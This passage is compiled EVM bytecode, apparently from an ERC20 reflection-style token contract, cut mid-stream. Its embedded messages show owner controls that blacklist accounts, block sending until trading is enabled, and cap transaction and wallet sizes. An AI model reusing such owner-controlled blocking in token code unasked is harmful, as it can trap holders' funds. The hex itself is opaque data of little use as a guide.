20546127cc90919063ffffffff16565b60025f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550505050565b6128f58260065461278390919063ffffffff16565b600681905550612910816007546127cc90919063ffffffff16565b6007819055505050565b5f805f806129446064612936888a612a3090919063ffffffff16565b61241590919063ffffffff16565b90505f61296d606461295f888b612a3090919063ffffffff16565b61241590919063ffffffff16565b90505f61299582612987858c61278390919063ffffffff16565b61278390919063ffffffff16565b905080838395509550955050505093509350939050565b5f805f806129c38589612a3090919063ffffffff16565b90505f6129d98689612a3090919063ffffffff16565b90505f6129ef8789612a3090919063ffffffff16565b90505f612a1782612a09858761278390919063ffffffff16565b61278390919063ffffffff16565b9050838184965096509650505050509450945094915050565b5f808303612a40575f9050612aa1565b5f8284612a4d9190613a9a565b9050828482612a5c9190613a02565b14612a9c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612a9390613b4b565b60405180910390fd5b809150505b92915050565b5f81519050919050565b5f82825260208201905092915050565b5f5b83811015612ade578082015181840152602081019050612ac3565b5f8484015250505050565b5f601f19601f8301169050919050565b5f612b0382612aa7565b612b0d8185612ab1565b9350612b1d818560208601612ac1565b612b2681612ae9565b840191505092915050565b5f6020820190508181035f830152612b498184612af9565b905092915050565b5f604051905090565b5f80fd5b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f612b8b82612b62565b9050919050565b612b9b81612b81565b8114612ba5575f80fd5b50565b5f81359050612bb681612b92565b92915050565b5f819050919050565b612bce81612bbc565b8114612bd8575f80fd5b50565b5f81359050612be981612bc5565b92915050565b5f8060408385031215612c0557612c04612b5a565b5b5f612c1285828601612ba8565b9250506020612c2385828601612bdb565b9150509250929050565b5f8115159050919050565b612c4181612c2d565b82525050565b5f602082019050612c5a5f830184612c38565b92915050565b5f819050919050565b5f612c83612c7e612c7984612b62565b612c60565b612b62565b9050919050565b5f612c9482612c69565b9050919050565b5f612ca582612c8a565b9050919050565b612cb581612c9b565b82525050565b5f602082019050612cce5f830184612cac565b92915050565b612cdd81612bbc565b82525050565b5f602082019050612cf65f830184612cd4565b92915050565b5f805f60608486031215612d1357612d12612b5a565b5b5f612d2086828701612ba8565b9350506020612d3186828701612ba8565b9250506040612d4286828701612bdb565b9150509250925092565b612d5581612c2d565b8114612d5f575f80fd5b50565b5f81359050612d7081612d4c565b92915050565b5f60208284031215612d8b57612d8a612b5a565b5b5f612d9884828501612d62565b91505092915050565b5f60208284031215612db657612db5612b5a565b5b5f612dc384828501612bdb565b91505092915050565b5f60208284031215612de157612de0612b5a565b5b5f612dee84828501612ba8565b91505092915050565b5f60ff82169050919050565b612e0c81612df7565b82525050565b5f602082019050612e255f830184612e03565b92915050565b612e3481612b81565b82525050565b5f602082019050612e4d5f830184612e2b565b92915050565b5f805f8060808587031215612e6b57612e6a612b5a565b5b5f612e7887828801612bdb565b9450506020612e8987828801612bdb565b9350506040612e9a87828801612bdb565b9250506060612eab87828801612bdb565b91505092959194509250565b5f80fd5b5f80fd5b5f80fd5b5f8083601f840112612ed857612ed7612eb7565b5b8235905067ffffffffffffffff811115612ef557612ef4612ebb565b5b602083019150836020820283011115612f1157612f10612ebf565b5b9250929050565b5f805f60408486031215612f2f57612f2e612b5a565b5b5f84013567ffffffffffffffff811115612f4c57612f4b612b5e565b5b612f5886828701612ec3565b93509350506020612f6b86828701612d62565b9150509250925092565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b612fab82612ae9565b810181811067ffffffffffffffff82111715612fca57612fc9612f75565b5b80604052505050565b5f612fdc612b51565b9050612fe88282612fa2565b919050565b5f67ffffffffffffffff82111561300757613006612f75565b5b602082029050602081019050919050565b5f61302a61302584612fed565b612fd3565b9050808382526020820190506020840283018581111561304d5761304c612ebf565b5b835b8181101561307657806130628882612ba8565b84526020840193505060208101905061304f565b5050509392505050565b5f82601f83011261309457613093612eb7565b5b81356130a4848260208601613018565b91505092915050565b5f602082840312156130c2576130c1612b5a565b5b5f82013567ffffffffffffffff8111156130df576130de612b5e565b5b6130eb84828501613080565b91505092915050565b5f806040838503121561310a57613109612b5a565b5b5f61311785828601612ba8565b925050602061312885828601612ba8565b9150509250929050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65725f82015250565b5f613166602083612ab1565b915061317182613132565b602082019050919050565b5f6020820190508181035f8301526131938161315a565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52603260045260245ffd5b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f20615f8201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b5f613221602683612ab1565b915061322c826131c7565b604082019050919050565b5f6020820190508181035f83015261324e81613215565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f206164645f8201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b5f6132af602483612ab1565b91506132ba82613255565b604082019050919050565b5f6020820190508181035f8301526132dc816132a3565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f2061646472655f8201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b5f61333d602283612ab1565b9150613348826132e3565b604082019050919050565b5f6020820190508181035f83015261336a81613331565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f2061645f8201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b5f6133cb602583612ab1565b91506133d682613371565b604082019050919050565b5f6020820190508181035f8301526133f8816133bf565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f20616464725f8201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b5f613459602383612ab1565b9150613464826133ff565b604082019050919050565b5f6020820190508181035f8301526134868161344d565b9050919050565b7f5472616e7366657220616d6f756e74206d7573742062652067726561746572205f8201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b5f6134e7602983612ab1565b91506134f28261348d565b604082019050919050565b5f6020820190508181035f830152613514816134db565b9050919050565b7f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e64205f8201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c656400602082015250565b5f613575603f83612ab1565b91506135808261351b565b604082019050919050565b5f6020820190508181035f8301526135a281613569565b9050919050565b7f544f4b454e3a204d6178205472616e73616374696f6e204c696d6974000000005f82015250565b5f6135dd601c83612ab1565b91506135e8826135a9565b602082019050919050565b5f6020820190508181035f83015261360a816135d1565b9050919050565b7f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c6973745f8201527f6564210000000000000000000000000000000000000000000000000000000000602082015250565b5f61366b602383612ab1565b915061367682613611565b604082019050919050565b5f6020820190508181035f8301526136988161365f565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f6136d682612bbc565b91506136e183612bbc565b92508282019050808211156136f9576136f861369f565b5b92915050565b7f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073695f8201527f7a65210000000000000000000000000000000000000000000000000000000000602082015250565b5f613759602383612ab1565b9150613764826136ff565b604082019050919050565b5f6020820190508181035f8301526137868161374d565b9050919050565b5f61379782612bbc565b91506137a283612bbc565b92508282039050818111156137ba576137b961369f565b5b92915050565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c20725f8201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b5f61381a602a83612ab1565b9150613825826137c0565b604082019050919050565b5f6020820190508181035f8301526138478161380e565b9050919050565b5f8151905061385c81612b92565b92915050565b5f6020828403121561387757613876612b5a565b5b5f6138848482850161384e565b91505092915050565b5f819050919050565b5f6138b06138ab6138a68461388d565b612c60565b612bbc565b9050919050565b6138c081613896565b82525050565b5f81519050919050565b5f82825260208201905092915050565b5f819050602082019050919050565b6138f881612b81565b82525050565b5f61390983836138ef565b60208301905092915050565b5f602082019050919050565b5f61392b826138c6565b61393581856138d0565b9350613940836138e0565b805f5b8381101561397057815161395788826138fe565b975061396283613915565b925050600181019050613943565b5085935050505092915050565b5f60a0820190506139905f830188612cd4565b61399d60208301876138b7565b81810360408301526139af8186613921565b90506139be6060830185612e2b565b6139cb6080830184612cd4565b9695505050505050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f613a0c82612bbc565b9150613a1783612bbc565b925082613a2757613a266139d5565b5b828204905092915050565b7f536166654d6174683a206164646974696f6e206f766572666c6f7700000000005f82015250565b5f613a66601b83612ab1565b9150613a7182613a32565b602082019050919050565b5f6020820190508181035f830152613a9381613a5a565b9050919050565b5f613aa482612bbc565b9150613aaf83612bbc565b9250828202613abd81612bbc565b91508282048414831517613ad457613ad361369f565b5b5092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f5f8201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b5f613b35602183612ab1565b9150613b4082613adb565b604082019050919050565b5f6020820190508181035f830152613b6281613b29565b905091905056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220d3beca54034ef85f2334ef51d970ec92d7b50f48ff3ff0dd925c7554495ce8bd64736f6c63430008170033